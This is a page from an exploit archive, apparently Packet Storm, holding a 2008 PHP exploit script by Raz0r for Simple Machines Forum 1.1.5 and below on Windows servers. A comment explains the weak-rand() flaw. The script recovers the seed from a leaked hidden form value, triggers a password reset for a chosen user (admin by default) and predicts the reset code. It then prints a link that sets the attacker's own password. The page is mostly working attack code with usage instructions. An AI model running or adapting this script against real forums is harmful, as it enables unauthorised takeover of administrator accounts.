exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

smf-reset.txt

smf-reset.txt
Posted Sep 8, 2008
Authored by Raz0r | Site raz0r.name

Simple Machines Forum versions 1.1.5 and below administrative password reset exploit for win32.

tags | exploit
systems | windows
SHA-256 | 11534bca49ca9deb4bea709d19e3081c15e806e759d7bf721f3b5bfeb289e208

smf-reset.txt

Change Mirror Download
<?php
echo "---------------------------------------------------------------\n";
echo "SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)\n";
echo "(c)oded by Raz0r (http://Raz0r.name/)\n";
echo "---------------------------------------------------------------\n";

if ($argc<3) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [host] [path] OPTIONS\n\n";
echo "[host] - target server where SMF is installed\n";
echo "[path] - path to SMF\n\n";
echo "OPTIONS:\n";
echo "--userid=[value] (default: 1)\n";
echo "--username=[value] (default: admin)\n";
echo "examples:\n";
echo "php {$argv[0]} site.com /forum/\n";
echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n";
die;
}

/**
* Software site: http://www.simplemachines.org
*
* SMF leaks current state of random number generator through hidden input parameter `sc`
* of the password reminder form:
*
* $_SESSION['rand_code'] = md5(session_id() . rand());
* $sc = $_SESSION['rand_code'];
*
* Since max random number generated with rand() on win32 is 32767 and session id
* is known an attacker can reverse the md5 hash and get the random number value.
* On win32 every random number generated with rand() is used as a seed for the next
* random number. So if SMF is installed on win32 platform an attacker can predict
* all the next random numbers. When password reset is requested SMF uses rand()
* function to generate validation code:
*
* $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
*
* So prediction of the validation code is possible and an atacker can set his
* own password for any user.
*
* More information about random number prediction:
* http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/
*
* More information about the behaviour of rand() on win32 (in Russian):
* http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/
*/

set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);

$host = $argv[1];
$path = $argv[2];

for($i=3;$i<=$argc;$i++){
if(isset($argv[$i]) && strpos($argv[$i],"--userid=")!==false) {
list(,$userid) = explode("=",$argv[$i]);
}
if (isset($argv[$i]) && strpos($argv[$i],"--username=")!==false) {
list(,$username) = explode("=",$argv[$i]);
}
}

if(!isset($userid))$userid="1";
if(!isset($username))$username="admin";

$sess = md5(mt_rand());
echo "[~] Connecting to $host ... ";
$ock = fsockopen($host,80);
if($ock) echo "OK\n"; else die("failed\n");

$packet = "GET {$path}index.php?action=reminder HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Keep-Alive: 300\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";

fputs($ock, $packet);

while(!feof($ock)) {
$resp = fgets($ock);
preg_match('@name="sc" value="([0-9a-f]+)"@i',$resp,$out);
if(isset($out[1])) {
$md5 = $out[1];
break;
}
}

if($md5) {
$seed = getseed($md5);
if($seed) {
echo "[+] Seed for next random number is $seed\n";
} else die("[-] Can't calculate seed\n");
}
else die("[-] Random number hash not found\n");

function getseed($md5) {
global $sess;
for($i=0;$i<=32767;$i++){
if($md5 == md5($sess . $i)) {
return $i;
}
}
}

$sc = md5($sess . $seed);
$data = "user=".urlencode($username)."&sc=$sc";
$packet = "POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: PHPSESSID=$sess;\r\n";
$packet.= "Connection: close\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n\r\n";
$packet.= $data;

fputs($ock, $packet);

$resp='';
while(!feof($ock)) {
$resp .= fgets($ock);
}

if(preg_match("@HTTP/1.(0|1) 200 OK@i",$resp)===false) {
die("[-] An error ocurred while requesting validation code\n");
}

if(strpos($resp,"javascript:history.go(-1)")!==false) {
die("[-] Invalid username\n");
}

srand($seed);
for($i=0;$i<6;$i++){
rand();
}
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
echo "[+] Success! To set password visit this link:\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\n";
?>


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close